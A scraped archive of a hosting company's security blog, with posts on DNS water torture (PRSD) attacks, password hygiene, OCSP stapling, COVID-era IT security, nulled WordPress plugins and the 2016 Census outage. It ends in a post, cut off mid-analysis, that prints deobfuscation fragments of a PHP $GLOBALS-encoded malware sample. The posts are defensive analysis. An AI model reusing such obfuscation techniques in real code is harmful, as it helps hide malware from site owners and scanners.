Security – Conetix

What is a Pseudo Random Subdomain (PRSD) Attack?

Tim Butler — Sun, 14 May 2023 23:46:31 +0000

Overview

A Pseudo Random Subdomain (PRSD) attack is a specific attack designed to send hundreds of thousands of legitimate but malicious Domain Name Service (DNS) requests at a nameserver in order to perform a Distributed Denial of Service (DDoS) attack. This can also be referred to as a DNS water torture attack but is essentially the same thing.

Instead of just flooding the server with packets like many other DDoS attacks, the packets sent are legitimate DNS requests and due to the pseudo-random nature, they’re designed to be as legitimate as possible.

These attacks are therefore quite powerful, as their legitimate nature means they can bypass many of the DDoS protections and most of the automatic mitigations of most firewalls and DDoS scrubbers (automatic filters for large attacks or malicious attacks) and therefore overwhelm most nameservers.

While the attacks aren’t new, they have been evolving rapidly in the past 12 months to exploit new and different ways to ensure the attack makes it through.

What does the attack look like?

A normal DNS query may look like this:

When your web browser goes to load a webpage (in this example, www.test.com), it needs to know what server this website is on. A DNS request will convert the name into an IP address, which then allows your browser to talk to the right server.

For most environments, your Internet Service Provider (ISP) runs local DNS recursors which make the request on your behalf, as this allows them to cache (keep a copy of) the record to help speed up all future requests as well as other customer’s requests for the same website.

A pseudo-random DNS query will then look like this:

As you can see, there’s very little difference between the two requests. In many of these PRSD attacks, the attackers are using legitimate DNS servers such as ISP’s and larger providers such as Google to make the requests.

However, a single request of course isn’t enough and as mentioned above, recursors cache a copy of the record so that if it receives a second request within what’s called the Time to live (or TTL for short) then it doesn’t have to ask the authoritative server again.

Instead, PRSD attacks will ensure that every request is unique by creating subdomain requests (eg www and fast123 in the example) based on dictionary words. These dictionaries can even be based on records of legitimate records used elsewhere (eg mail.test.com, blog.test.com, shop.test.com and so forth) so that the requests are as legitimate as possible.

This means that every request therefore has to reach the end authoritative server (eg your hosting provider) and it then has to process it. Because the requests are unique, any caching then at the authoritative end won’t work either so it can be hugely intensive on their infrastructure. These attacks can be in the millions and being legitimate requests, this will simply overwhelm most nameservers.

What can be done to prevent the attacks?

This is the million dollar question. PRSD attacks in the past may have come directly from other compromised systems so the attacking IP could simply be dropped if it’s sending too many DNS queries per second. Many systems either had limits in place here or the use of firewalls and upstream DDoS scrubbers could detect abnormal packet rates and mitigate the attack.

However, modern attacks are exploiting the fact that some of the largest DNS resolvers have highly distributed infrastructure. For example, Google’s public resolver (8.8.8.8) isn’t just one server but a very large fleet of servers and services. If you make a query against their recursive server, this request to the authoritative server could come from one of hundreds of thousands of servers behind the scenes.

Because of the distributed nature of their infrastructure (required to make it so resilient), this means the requests could come from hundreds of thousands of different IP’s and from any of the countries Google has infrastructure in. Even worse, if the system attempts to rate limit or block this IP, it also affects all other legitimate requests through Google’s servers for all other domains as well.

This leaves three key options.

More servers

The first is to increase the size of the authoritative DNS infrastructure. If the attacks are five hundred (500) times larger than your normal traffic flow then you’ll need to scale your infrastructure out to be five hundred times larger. This also includes ensuring that your firewalls and upstream network infrastructure also scales to this point.

As you can expect, this is a very costly approach to solving the problem so the least likely to be implemented. If you have the infrastructure spare (ie already racked and paid for), then this would be the only time this is a viable option.

Per domain limits

Instead of limiting DNS queries per IP, you would need to limit the overall DNS queries per domain. This is possible via some DNS authoritative servers or it may require a proxy service such as dnsdist to implement.

This can require some complicated scripting to achieve, with a high likelihood of still negatively affecting the domain being attacked (or used in the attack).

Dedicated DNS DDoS protection

While this sounds like the easiest option, it could also be costly depending on your scenario. As an individual or company, you could use one of the large providers such as Akamai or Cloudflare to protect your domain. This could become quite expensive or convoluted if you have multiple domains to manage and may break integrations with your existing infrastructure, so there are a number of factors to consider.

If you’re a service provider and have thousands of domains to protect, there are options available as third party services or as dedicated on-premises hardware or VM based systems. They all of course all vary in terms of price and complexity to manage and it can be difficult to evaluate as simulation of attacks aren’t ever as accurate as the real thing.

What’s the best solution?

There is no magic answer here. The nature of these attacks means that they’ll find any weakness possible to exploit. Many of the systems require constant fine tuning as it’s a continual cat and mouse game. The moment you put effective mitigation in place, it means the nature of the attack can (and will!) vary to disrupt.

It may also be that the solution you choose today won’t be the right solution in 1-2 years time. The key is as the threat evolves, your mitigation strategies need to evolve with it.

Good Password Hygiene

Tim Butler — Wed, 18 Jan 2023 03:52:56 +0000

As the year gets off to a flying start, now is the time to work on and tidy up our passwords. Like all systems, good password hygiene can help to ensure you remain secure and avoid costly exploits.

Instead of waiting for an incident to occur, we want to be one step in front and prevent it from ever occurring in the first place. Our article on the Importance of Secure Passwords covers in detail how and why to use secure passwords, but this mostly only occurs in scenarios where you’ve started from scratch. We also need to retrospectively update and strengthen old passwords and old decisions we made a decade or more ago.

Here’s our top tips to do your bit of password hygiene.

1: Use Unique Passwords

During 2023, we saw a significant number of websites compromised where password re-use was the cause.

2: Use a Password Manager

As passwords grow in both complexity and length, trying to remember them all is impossible. Thankfully, modern password managers make this easy and integrate neatly with your desktop, laptop, browser and even your mobile phone.

A good password manager means you need to just remember one password to authenticate, so you can make it a strong passphrase and know the rest of the passwords will be secure as well.

As mentioned in our Secure Passwords guide, our two picks are:

3: Increase your minimum password strength

With compute power rapidly increasing, the time to crack passwords is rapidly decreasing. Your secure password 10 years ago of 8 characters used to take about 90 years worth of compute power to brute force (keep trying until it’s found) on average. On modern systems, this is now 8 hours or less.

We recommend increasing this to at least 10 characters (with a mix of upper / lower case and symbols), which takes 5 years to brute force. Even better, a move to 12 characters pushes this out to 34,000 years and will ensure it remains secure for at least the foreseeable future as compute power continues to increase.

4: Update old passwords

Most systems won’t force password changes as password policies change, as it causes too much disruption to their customers. While we don’t recommend updating all passwords constantly (it’s only required if you reused passwords), older ones you first started using may be short in length (8 characters or fewer) or set at a time when you reused passwords (we all did at some point!).

Some password managers can even check your passwords against known lists of exposed passwords, meaning these are critical to update.

These services work by comparing a partial hash of your password, so they don’t directly expose your password at all. If you don’t have a password manager with all your passwords in yet or want another check, we also recommend haveibeenpwned.com.

This is an email based comparison, so it will check your email address and let you know what and where your account may have been exposed.

5: Use Multi-Factor Authentication

Especially for key services such as your password manager and critical logins, Multi-Factor Authentication (MFA) is a must. While it may seem like a bit of an inconvenience at first, many systems will remember the device you use for a set number of days to reduce this inconvenience.

MFA also means that the chances of your password being used without your knowledge where some external site or system has been compromised. While it’s not completely infallible to phishing (where there’s a fake form designed to steal your username and password), it does significantly reduce the risk as most MFA login methods are very time sensitive.

6: Removing old password managers

Many people have used more than one password manager in their lifetime, especially if you’re using the inbuilt manager within your browser as well. These can be easily forgotten and like the LastPass hack recently, a copy of your encrypted data can still be stolen and leave you vulnerable. If you haven’t rotated all your passwords since changing systems, we highly recommend reviewing older systems and deleting your account.

Conclusion

Hopefully, by following these simple steps you can reduce your risk to a security incident. Of course passwords are only one part of this puzzle but as we’ve seen in recent security exploits it’s now a very critical one.

Any steps to avoid having to deal with the time, cost and reputation impacts associated with a security exploit should be taken at every available opportunity. With the average cost of a cyber security incident now in the millions for Australian businesses along with 200+ days of lost productivity, simply doing nothing to increase your security and protect your systems could prove to be very costly.

Australian Cyber Attacks: Who’s at risk?

Tim Butler — Fri, 19 Jun 2020 03:58:54 +0000

Overview

The word “cyber” gets thrown around quite a bit as a marketing term but no matter what you call it, cyber attacks are no joke. The threats are real and certainly constant, which is why it’s important to ensure you take steps to protect yourself and your business.

If you have a system connected to the Internet, you need to take steps to protect it.

Just recently (June 2020), the Prime Minister has warned that there’s increased activity and significant cyber attacks currently occurring against a number of government services as well as commercial entities.

What is a Cyber Attack?

To put simply, any attack over the Internet. This can be against your website, against your email, against your servers and infrastructure and/or against your personal devices and computers.

What is a state based actor?

This is someone who is acting on behalf of a foreign government. Due to political sensitivity of naming particular countries, government entities will normally use this as a generic term to avoid diplomatic fall-out.

While knowing the country may seem important, it’s not. There’s nothing unique about any country who initiates an attack, the focus needs to be on the protection against the attacks.

What are they trying to do?

The attack reasons are wide and varied. There’s generally four reasons attacks occur:

Disruption. This can include disruption to your network, your website and/or your email services. If the attack is aimed at causing pain or

Extraction of information. Malicious users may be after your information. If they can extract users from your website, then they can easily target your customers with fake sales, phishing campaigns and similar. This information may also have a commercial value, which means they may seek to sell the information.

Financial Gain. The common one here is if your site is under attack, you’ve been infected by cryptoware or they’ve managed to extract confidential information then they may use this for financial gain. This may be in the form of a ransom they request you pay or if information is extracted has commercial value then it may be sold off to the highest bidder.

If your site is under a DDoS attack, then they may request that you pay a fee for the attack to stop.

Zombie Net. To put simply, they want any website or email they can compromise in order to use it however they please. This could be to send spam, run phishing campaigns, launch DDoS attacks or simply to hack more websites to build their pool of resources for future use.

Again, the focus should be on protection.

Who needs to be worried?

You should be alert, not alarmed. If you’ve taken steps to mitigate the risks, then the likelihood of having an issue will be greatly reduced.

These threats exist 24/7 and while there’s currently some heightened activity, there’s never a time where the threat is ever zero. These current attacks should simply serve as a reminder that you can’t ever forget your security and should serve as an opportunity to review your current protection.

If you’re a government entity or work with large corporations then it may be pertinent to look at increasing your security through greater risk mitigation. This will require a more detailed review of your current security strategies and while well beyond the scope of this document, Conetix can provide general advice in regards to options for your website.

But why would they be interested in my business?

The mistake many make is that they don’t have to worry about security as they’re too small to be a target. While your business or website may not be on their radar to directly target, it’s an absolute guarantee that your website has already been the subject of an attempted breach.

The easiest way to describe this is like a thief trying to steal a car. If they have a key fob which can unlock certain cars, then they’ll walk up and down parking lots until a car unlocks. In this scenario they didn’t target that particular car, but it was simply the one which unlocked first.

Websites with security vulnerabilities (such as out-of-date plugins or code) are exactly like this. Hackers won’t be targeting your site directly, but scouring the Internet looking for the first weakness they can find. If your website has a security vulnerability then it’s highly likely it will be hacked.

What does Conetix do to protect us?

We take the security of our systems very seriously and continue to adjust and evolve our platform constantly to ensure we provide one of Australia’s most secure hosting platforms.

To do this, we use a multilayered security approach. This includes high level protection from dedicated DDoS attack protection upstream to our network through to Intrusion Protection Systems (IPS) within our dedicated, hardware firewalls. This information is also monitored so that anomalies are detected and can be investigated immediately.

At a server level, we then run and constantly update all the software regularly to ensure the latest security patches are applied as well as apply server level lockdowns and set further restrictions specific to our needs.

We then offer (as an additional service) a fully featured Web Application Firewall (WAF) and real-time malware scanners for our managed clients to again provide further layers of protection.

What do I need to do?

There’s a number of steps you can take to help protect yourself and your data. We covered most of these recently with our article on IT security during COVID 19, but it’s always good to go through them quickly again.

Use secure passwords. We have a great article on the importance of secure passwords which will help you choose and use better passwords. Always unique, longer than 10 characters and kept securely in a password manager should be the bare minimum.

Keep your website up-to-date. Websites like all software based systems require constant updates. We recommend running updates at least once a week, or using a service such as our Managed WordPress Hosting to have someone take care of this on your behalf.

Use Multi Factor Authentication. This means instead of just having a password to login, your website, email, server and similar all require a secondary authentication method. This is normally in the form of an extra app on your phone such as the Azure Authenticator App, Authy or Google Authenticator.

Ensure you have reliable, off-site backups. In the event of a disaster or even an accidental change or deletion, you’ll be reliant on your backups. For your website, this can be managed within Plesk or via a plugin for your website. We highly recommend that you also test your backups to ensure they actually contain all of the data.

Ensure your PC’s all have Anti-Virus protection. Our expertise is in web and not necessarily desktops so we’d advise you to ensure you have some form of protection enabled and up-to-date (even Windows Defender). Ensuring your PC has all of the latest updates applied is also critical.

Keep yourself educated. As the threats evolve, so should your knowledge of them. Obviously we recommend following us on Facebook, Twitter or LinkedIn so that you see when we publish security related information but we also recommend the Australian Cyber Security Centre website for detailed information.

Conduct a review of your systems. This should be done on a regular basis and ideally completed with a security professional. A systematic approach of identifying all of the websites and infrastructure associated with your business will then allow you to conduct a risk assessment against these to then determine if you have any changes or weak areas to address.

Conclusion

We always like to remind ourselves and remind customers:

Security is only as strong as your weakest point.

There’s no point having the world’s most secure password if you don’t keep your website up-to-date and vice versa. Security requires a holistic approach to ensure all attack vectors are covered.

If you have any concerns over the security of your website, please don’t hesitate to contact us so that one of our team members can conduct a basic assessment for you (at no cost). The security of our customers is utmost importance to us so we will always ensure we do whatever we can to keep your website, emails and data safe.

Main Photo by Markus Spiske on Unsplash.

OCSP Stapling: Why should I enable it for my site?

Jamin Andrews — Thu, 30 Apr 2020 02:30:00 +0000

Since Google first announced that securing a website via a SSL certificate would be considered a ranking signal for SEO, lots of web hosting providers including us here at Conetix started providing free SSL certificates via SSL certificate providers like Let’s Encrypt.

By providing a SSL certificate for your website you can now force all traffic for your website to use https:// – HyperText Transport Protocol Secure rather than standard https://.

With this change and focus on securing websites, browser developers like Google (Chrome) and Firefox started displaying secure and insecure site lock natively in their browser. Their goal is to provide a more secure Internet and provide trust from your website to the end user.

So what is OCSP Stapling?

Online Certificate Status Protocol (OCSP) stapling is the standard for checking the revocation status of a digital certificate that is assigned to a website or web service, in simple terms; is your website’s SSL certificate valid.

To understand a little more about OCSP stapling we need to cover two parts; OCSP itself and the extension stapling.

OCSP itself is an independent protocol that allows the web browser to verify the SSL certificate.

Validity. The browser checks the website’s certificate in real time against the Certified Authority (CA) and responds with a good, revoked or unknown. With this verification process each request or query has to be processed in real time and incurs a resource cost.

This cost is not only a bandwidth cost, backend server resource cost but also an end user browser cost in terms of slower performance. The busier the website is the more resource cost and in turn the slower the website becomes.

To overcome this resource cost limitation stapling was introduced and as the term suggests, the additional protocol is stapled or added to OCSP to improve this cost and speed up the process between the end users browser and the website. A time-stamped OCSP response is stapled to the request which eliminates the need for the end user browser to contact the CA directly.

Why would you use OCSP stapling?

This simple addition to your website’s SSL certificate improves both security and performance. This in turn provides trust in your website and end user confidence in using your site. Once again it also provides a ranking signal for Google which improves ever so slightly your overall ranking of your domain and website itself.

Increases Trust
Speeds up your website
Improves Google SEO Ranking

How can you take advantage of OCSP Stapling?

The good news is that OCSP stapling has been implemented by all the major web server providers like NGINX,Apache, LiteSpeed and Microsoft Windows Server.

With the major web server providers implementing this protocol, many server management panel providers such as Plesk, have taken advantage of this and have created a simple way to implement and manage quickly without any technical expertise.

How can I check if my website is using OCSP stapling?

The simplest way to check is to use online tools like SSL Labs SSL test.
Simply go to https://ssllabs.com/ssltest and type in your domain name.

It should show the following on the first page of your report if you are using OCSP Stapling.

If you are hosting your website with Conetix or have your own Plesk Virtual Private Server with Conetix, you can add OCSP stapling to your website or sites now.

If you don’t have this option with your current provider we would love to talk to you and see where we can assist.

More Technical Resources.

If you want to know more about OCSP stapling and how it all works the following are some great articles that you may find useful.

Cloudflare – High-reliability OCSP stapling and why it matters

CA Security Council – The Importance of checking for Certificate Revocation

IT Security during the COVID-19 pandemic

Tim Butler — Tue, 14 Apr 2020 00:25:00 +0000

With the Coronavirus (COVID-19) sweeping the world and causing massive disruptions, most of our focus has been on things like ensuring we wash our hands properly and ensuring we maintain social distancing. And, this is a good thing if all countries want to flatten the curve.

However, there’s a hidden nastiness which may catch you by surprise and that you should be aware of. To put simply:

Hackers haven’t gone into hibernation.

While many other businesses are in complete lockdown and others have transitioned to work from home, hackers and those out there wanting to cause damage, spread malware or other malicious activities are not only active but increasing in activity.

This means you need to be as vigilant as ever when it comes to IT security.

Our internal firewall data has shown a change in attack behaviour in the last few months. While it’s not conclusive enough to explicitly state that this pandemic is the reason, we’re expecting the threat to constantly change over the next 12 months to target specific COVID-19 weaknesses.

What does this actually mean?

There are a number of factors you need to consider.

Phishing

This will be the biggest security threat. For those unfamiliar with what phishing is, it’s the crafting of fake emails to make them seem legitimate. For example, a common phishing email is a fake email from your bank or payment system (eg Paypal) asking you to login and unsuspend your account. This is of course fake and you’ll be handing your details over to a malicious third party to spend your money.

The simple rule is, treat all emails as suspicious. Hackers know there’s a significant increase in work-from-home users and government payouts, so they will be targeting this fact. The emails may appear to be from your company asking you to install additional software or other similar tasks which are significantly more common during this pandemic.

Secondly, they may also appear to be government or other similar websites requiring you to register or ask you to provide some form of credentials in order to receive government stimulus money or similar.

One of many phishing emails

The other one we see frequently are fake emails in regards to your email, Internet service and/or phone data being over quota. We expect to see an increase in these phishing emails also during COVID-19 as legitimate notifications (which won’t ever ask you to login) will be increasing as well.

PC Updates

If you’ve taken your PC home and it was connecting to internal systems to run updates, this system may not work remotely. While your internal IT should be verifying this thorough central management software, the scale of having thousands of people suddenly work from home may mean their resources are stretched.

If you’re a small business and don’t have internal IT onsite all the time, again it’s worth verifying that your operating system updates are being applied if you’ve had to move IT infrastructure.

Website Updates

Your website isn’t any different to your PC and in the majority of cases (eg, WordPress, Joomla and similar) there’s always a constant stream of updates to the core code, plugins and themes. Many of these updates include security fixes which if left unpatched could lead your site to be compromised.

None of this has changed with COVID-19, however as businesses are changing to adapt then it’s easy for these updates to be forgotten. Similarly, if you’ve decided to shut your business for a short period of time then these updates are still required to be run. Leaving them for a few months could mean you have a nasty surprise if your website is compromised.

Email Security

This is commonly overlooked when internal IT systems are moved to bigger networks. If you’re working from any form of communal or public WiFi, make sure your email traffic is encrypted when talking to your email server.

If in doubt, please talk to your email or hosting provider to review your settings. Many legacy systems still allow unencrypted methods of communication and this means via a public or shared network your username and password is available to anyone else on that network.

Backups

Working from home means you need to consider a few extra scenarios. In many typical office setups, there’s usually a central file server and therefore a singular place of backup. Or, if you’re backing up laptops and PC’s to a central server, this may not be available once you’ve moved the PC to home.

You should conduct an audit of document storage locations and then determine how these are being backed up. Are they stored using a replicated service? For example, you may have (ie OneDrive / Dropbox / Google Drive)? Are you using a document management system to check in and out documents (eg SharePoint) and if so, how often are you checking the documents in?

The best way to approach how and when you should backup items is by working out what you can lose. If your PC loses all data overnight, what’s the business impact to you? What if this occurred for multiple employees? By working out your business cost and associated risks, you can then formulate a plan.

Increasing your security

While most of the news is doom and gloom, this could be a good opportunity to improve your overall IT security too. If you’ve already ticked these things off your list then that’s great!

In the majority instances, your accounts won’t be hacked because you’ve been targeted personally. Instead, most phishing campaigns cast their net far and wide with the theory being the more people they can try then the higher the chances of someone filling the fake form out.

Password Management

One of the best, limiting factors you can do is to use strong and unique passwords. This means that you should have a unique password for every login and make it at least 10 characters long. We’ve covered the importance of strong passwords previously and highly recommend reading (or indeed re-reading!) the article if you haven’t done so recently.

Multi-factor Authentication

A very effective means of security is to enable Multi-factor Authentication (MFA) for your servers. This means that to login or access a system, you have to provide more than one method of authentication. For example, Office 365 you can use the Azure Authenticator App which means when you login to Office 365, you also need to provide a secondary code from your mobile phone.

The key advantage here is that even if someone managed to get your username and password (ie where you’ve accidentally filled out a fake phishing form), they would still require the code from your mobile device and therefore can’t access your services.

Aside from using long, unique passwords, this is the most effective security measure you can put in place to protect yourself.

MFA can either be a mobile app or you can use a physical USB key such as the Yubikey.

This works in a very similar way to a mobile authenticator app but the difference is you can take it completely offline (unlike most mobiles) and for services neatly integrated it’s literally as simple as tapping the button.

Anti-Spam Email Filtering

If your email doesn’t already pass through some from of Professional Anti-Spam system, then we’d highly recommend you investigate the use of one of these systems. The larger systems use a number of complex algorithms as well as global data from millions of emails to be able to detect and block spam and phishing emails to an accuracy of 99.9% or greater.

This means that even if a phishing email is sent to you or your staff, it’s most likely going to be blocked by an automated system.

Staying up-to-date

If you’re reading this blog, then it’s a great step forward. As the saying goes, forewarned is forearmed. If you know about the latest scams and security threats before they occur then it means you’re able to recognise them if you see them. Here’s further reading and the latest information from the Australian Cyber Security Centre to help keep you up-to-date:

Remember, these threats are real so stay vigilant!

Main Photo by chris panas on Unsplash.

What is a nulled plugin?

Tim Butler — Thu, 02 Apr 2020 00:24:00 +0000

Everyone loves things for free, which is one of the contributing factors which has led to the popularity of WordPress as a Content Management System (CMS). Now commanding over 60% of the CMS market, third party plugins and themes are therefore a booming market as well.

While within WordPress you can automatically search and find many thousands of free plugins and themes, developers often have a “pro” or premium version where they provide additional functionality and features for their paid version. The free versions are often a great way to try the basics of a product and in many instances they offer enough functionality that you may not even require a more comprehensive version.

However, when you do there’s a temptation for some to go and find a “nulled” version of the plugin for free so that you don’t have to pay for it.

What is a “nulled” plugin?

The original term “nulled” used to refer to paid applications where any copyright protection (such as remote license checks) are disabled or bypassed. While it used to be mostly focussed around desktop software, it also applies to the web as well.

This software is illegal.

However, rather than just being altruistic notions to release software for free so that everyone can use it, nearly all nulled WordPress plugins and themes contain malware. This malware will vary in payload, but in nearly all instances will infect your site beyond just the plugin and add hooks into the core and/or other components so that third party entities can upload other malicious code to use your website for illegal means.

This illegal usage could vary from sending spam, conducting phishing campaigns and even be as severe as to delete your data and hold it to ransom through cryptoware.

Why do I have to pay for some plugins and themes?

The simple answer is, software is written by humans and humans need to eat. Yes, while many developers may seem advanced and futuristic boffins at times, they still succumb to the rat race of work-eat-sleep.

In fact, if you get value from the plugin or theme then paying for it is a good way to ensure that the developer can afford to continue to work on it. Given that some CMS platforms in the enterprise world charge upwards of $60,000 per year, paying $99 (for example) is still outstanding value and still one of the cheapest parts of running a business or website.

Should I use a nulled plugin or theme?

NO.

The only reason I have this here so bluntly is so that there is no ambiguity whatsoever.

While the previous section should clearly articulate why, many don’t heed the warning signs and continue down the path of nulled plugins or nulled themes.

If you require the services of a paid plugin and can’t afford to purchase it, you have three options:

Find an alternative.
Go without it.
Find a way to pay for it.

The great thing about WordPress is the amount of choice you have, so if you find that a plugin is too expensive then there may be alternative out there already.

What sites offer nulled plugins?

If you’re not downloading it directly from the plugin author’s site after paying for it, chances are it’s a nulled plugin. There is only one site to trust for downloads, and that’s wordpress.org.

Any other site should be displaying a high degree of caution and you will need to verify the site. There are a few ways to check this:

Is the site linked from a free version within wordpress.org or within the plugin / theme itself?
Does the URL of the site match the website contained within the official social media sites?
Are there any deals on the site which seem “too good to be true” ?
Have you arrived at the site from a trusted link?

If there’s any ambiguity in the above four steps, STOP. Verify the site with your web developer or trusted technical advisor before downloading and before paying any money.

What should I do if I discover I have a nulled plugin?

We recommend you immediately contact your web developer and check what backups you have for your site. Once a nulled plugin or theme has been installed, it may have completely compromised your website and this may require a restoration from backup.

We’d also recommend installing WordFence and running a full scan of your website. This can identify and correct security issues in many instances. While we’ve found that WordFence is the best security tool out there, you shouldn’t ever be 100% reliant on a singular tool to correct any security issues.

You should also contact your hosting provider, as they may have additional tools to scan your website and may be able additional information about the level of compromise to your website.

Lastly, you should check your Google Search Console for any warnings or notifications. If Google has detected that your site has a security compromise amd/or is being used for phishing then it will either display a warning message or completely block access and have a potential SEO impact.

Conclusion

As the saying goes, prevention is better than the cure. The only way to 100% ensure any infection or compromise is removed is to restore the site from a backup prior to the nulled plugin or theme being installed.

We highly recommend that you show your support for your favourite plugins and themes by playing for them. By ensuring that the developers have a sustainable income from the plugins and themes they provide, you’re also ensuring that development continues and it’s highly likely that new features will continue to be released.

Cover photo by Markus Spiske on Unsplash.

#CensusFail – A Preliminary Analysis

Tim Butler — Wed, 10 Aug 2016 00:20:00 +0000

Last night, two years worth of work and planning for the first online Census night came to a screaming heap. Households around Australia were greeted with a lovely message like:

And, as of 11am (AEST) this morning, it’s still down. So, how could it all have gone so horribly wrong? Why has two years worth of planning and 10 million dollars failed so catastrophically?

This article is a bit of an educated guess and analysis from other industry experts who were commentating on the #CensusFail Twitter stream. While it may not be conclusive, the fact that the site has been unable to collect the Census data for many hours clearly shows they missed something.

1. Outsourcing risks

The project for the collecting the Census data and scalability had been outsourced to IBM. Somehow the government still hasn’t learnt its lesson on entrusting companies who have had catastrophic failures. Firstly, we have the Queensland Health debacle. This is a project which went so badly that a Commission of Inquiry had to be established and IBM were subsequently banned from all future Queensland government tenders. It was late, massively over budget and then of course when it went live it caused tens of thousands of Queensland Health employees to be paid incorrectly for up to three years.

Secondly, IBM were the ones who couldn’t scale Myer’s website for the Boxing Day sales. Not only did it fail on the day, but after a week of revamping the site and infrastructure their solution was to place potential buyers in a queue and make them wait before browsing the site. This was a terrible outcome and as a professional looking in, it’s quite embarrassing that a large company could get it so very wrong.

2. Underestimating the peak numbers

The Australian Bureau of Statistics had previously boasted that they could handle 1 million submissions an hour, double what they expected. However, even a rudimentary analysis by a normal citizen can easily predict that this isn’t going to be good enough.

An estimated 6 million households were going to complete the Census online. The majority of these households will have working adults, which means that it will be completed once the usual routines of cooking dinner and herding children are complete. Most people would have attempted it between 7pm and 9pm, which means the peak numbers are going to be over 2 million people per hour, with possible surges much higher.

For a government department who specialises in statistics, this seems to be very flawed thinking if they thought the peak was only going to be half a million. They could have staggered it over a number of nights quite easily if they thought the peak surges would be too difficult to handle and achieved a much better outcome.

3. Poor infrastructure design

Initial analysis suggests that some of the infrastructure design for the Census data was quite positively woeful. There were only 11 servers to handle all of the Census processing. What’s more, the fact that the certificate has hard coded entries means that there’s no ability to spin up additional servers to process more traffic.

There were a number of route changes as the issues started to occur, suggesting that capacity issues were hit. These may have been from denial of service attacks or simply the inrush of everyone hitting the site at once, either way the outcome is the same. The system is hosted directly with IBM, not on their SoftLayer platform (owned by IBM) which has auto-scale ability built in. In this day and age, properly designing a system to scale is a well trodden path by many companies.

4. Privacy concerns

This is the one which really stands out. The government increased the time in which they hold your name and address details associated with your Census from 18 months to 4 years without any explanation as to why. Rightly so, many were very concerned about the impacts of this.

Many Australian citizens and even government Senators were quite outraged at the notion, which would have directly increased the motivation of attacks. Nobody likes the government spying on you or keeping personal information without any sort of justification. This would have directly motivated hackers to take action, something of which we’ve no doubt seen the results of.

5. Underestimating hackers

Just to clear it up, what we’re seeing so far suggests an attack, not a hack. There’s a clear distinction here, no data has been lost (yet). The worst thing you can do is make yourself a big target without proper protection in place. The moment you trivialise or think you’ve thwarted the power that hackers have, they’ll simply prove you wrong.

Hackers have access to enormous amounts of server resources and also immense talent. Regardless of if you think their work is unethical or illegal, you simply cannot take a moral high ground and expect to win. The privacy issues no doubt gave them additional assistance to bring the site down.

Even without compromising the data, they’ve shown that they can counteract the government’s protection and planning. This isn’t a good sign at all, if they can’t stop a denial of service attack, can you trust them to protect the data itself?

Going forward

It’s hard to make suggestions without knowing the exact cause of the failure, but one thing that can certainly be done is to rebuild the trust of the Australian citizens. The level of distrust only causes further concern and again fuels hackers to take action. As the recent election shows, Australian citizens are already at high levels of distrust with the government, even without the Census debacle.

Let’s hope that the’s actual lessons learnt from this, rather than repeating it all over again in five years time.

Update: For another great perspective on the matter, check out the Risky Business blog. The lack of planning and expertise is worse than I thought, especially for the money and size of the companies involved.

Decoding a PHP SuperGlobals exploit program

Sid Young — Wed, 01 Jul 2015 23:00:00 +0000

Back in April I released an article called "Byte encoding exploits in PHP files", at the time we had not seen a PHP exploit coded in that way so scanning tools like "Maldet" didn't pick it up even though to a human the code looked like an exploit due to the coding style. When we detected the exploit I wrote the article after doing some research and discovering virtually nothing on the subject, if you haven't read the article then its worth a read now because it created a lot of interest, especially in Eastern European countries (where I suspect the exploit originated from) according to the Google Analytics we reviewed in the weeks that followed release of the article.

Then within a month of the article being released the exploit attempts dropped off, manual detection of suspect files showed the exploit code being widely used previously, had changed. The modified versions of the files included less of the byte encoding and more generic PHP code. But things don't stand still and today another exploit was manually detected in log scans. Our normal scanning tools failed to pick the most recent exploit attempt but looking at the files with human eyes they are obviously suspect! The "new" coding style the hackers used in one file is based around the PHP "super globals" language feature. I had not heard the term myself till I started checking the syntax of the "GLOBALS[] array on the php.net web site. Using "global" in a PHP app is quite common and even using "$GLOBALS[]" is not that unusual, but a file full of them is not a coding style any professional uses to release code.

Two files were downloaded by the hackers, one called diff50.php and the other (yet to be decoded as its totally different again) diff.php. The entry point was either a an out of date WordPress plugin like Gravity Forms or an out of date theme file. The reason we cannot be clear on the entry vector is the possibility the time stamps on the directories of the site may have been manipulated but the exploits were found in the various "uploads" directory of a WordPress site.

The file contents look like this (showing only the first few lines):


On analysing this file I Initially thought the first line was a bootstrap code sequence but it quickly became obvious it was a character mapping array, mapping the hex coding to ASCII characters as shown below using a simple decoder.

The character set it translated to becomes:
403oR^q*$f>xP-K,k5[]zXGiAE!Vh}{6vsj|nld&CZH:%m@#`pN~J
The first thing I did was rename 'v5fd1710b' to 'MAP', this made the particular array easy to spot and reduced the code. Then I set about reversing the variable encoding back to clearer text and see what is actually being set.
This became obvious when I echoed out the assignment lines one at a time:
$GLOBALS[$GLOBALS['MAP']['n'].$GLOBALS['MAP']['a'].$GLOBALS['MAP']['f'].$GLOBALS['MAP'][1].$GLOBALS['MAP']['5'].$GLOBALS['MAP']['8'].$GLOBALS['MAP']['a']] = 'chr';
$a1 = $GLOBALS[$GLOBALS['MAP']['n'].$GLOBALS['MAP']['a'].$GLOBALS['MAP']['f'].$GLOBALS['MAP'][1].$GLOBALS['MAP']['5'].$GLOBALS['MAP']['8'].$GLOBALS['MAP']['a']];
var_dump( $a1 );

$GLOBALS[$GLOBALS['MAP']['c'].$GLOBALS['MAP']['9'].$GLOBALS['MAP']['7'].$GLOBALS['MAP']['f']] = 'ord';
$a2=$GLOBALS[$GLOBALS['MAP']['c'].$GLOBALS['MAP']['9'].$GLOBALS['MAP']['7'].$GLOBALS['MAP']['f']];
var_dump( $a2 );

$GLOBALS[$GLOBALS['MAP'][73].$GLOBALS['MAP'][0].$GLOBALS['MAP']['c'].$GLOBALS['MAP']['f'].$GLOBALS['MAP']['d'].$GLOBALS['MAP'][3].$GLOBALS['MAP']['1'].$GLOBALS['MAP']['a'].$GLOBALS['MAP']['5']] = 'define';
$a3=$GLOBALS[$GLOBALS['MAP'][73].$GLOBALS['MAP'][0].$GLOBALS['MAP']['c'].$GLOBALS['MAP']['f'].$GLOBALS['MAP']['d'].$GLOBALS['MAP'][3].$GLOBALS['MAP']['1'].$GLOBALS['MAP']['a'].$GLOBALS['MAP']['5']];
var_dump( $a3  );

The resulting text output from the first dozen lines gives:
string(98) "40
Obt (FceL1T2?g=uI"BaQW_'8.YS+79M)/yU;w"d&CZH:%m@#`pN~J
This indicates the code assigns program keywords to global variables which can be executed. Another way to dump the variable assignments is to use:
print_r( $GLOBALS );
Follow this with a return 0; to prevent the rest of the code executing and it becomes obvious what some of the variable names are and what is assigned to them, so the print_r output yielded the following:
    [GLOBALS] => Array
 *RECURSION*
    [v5fd1710b] => 40
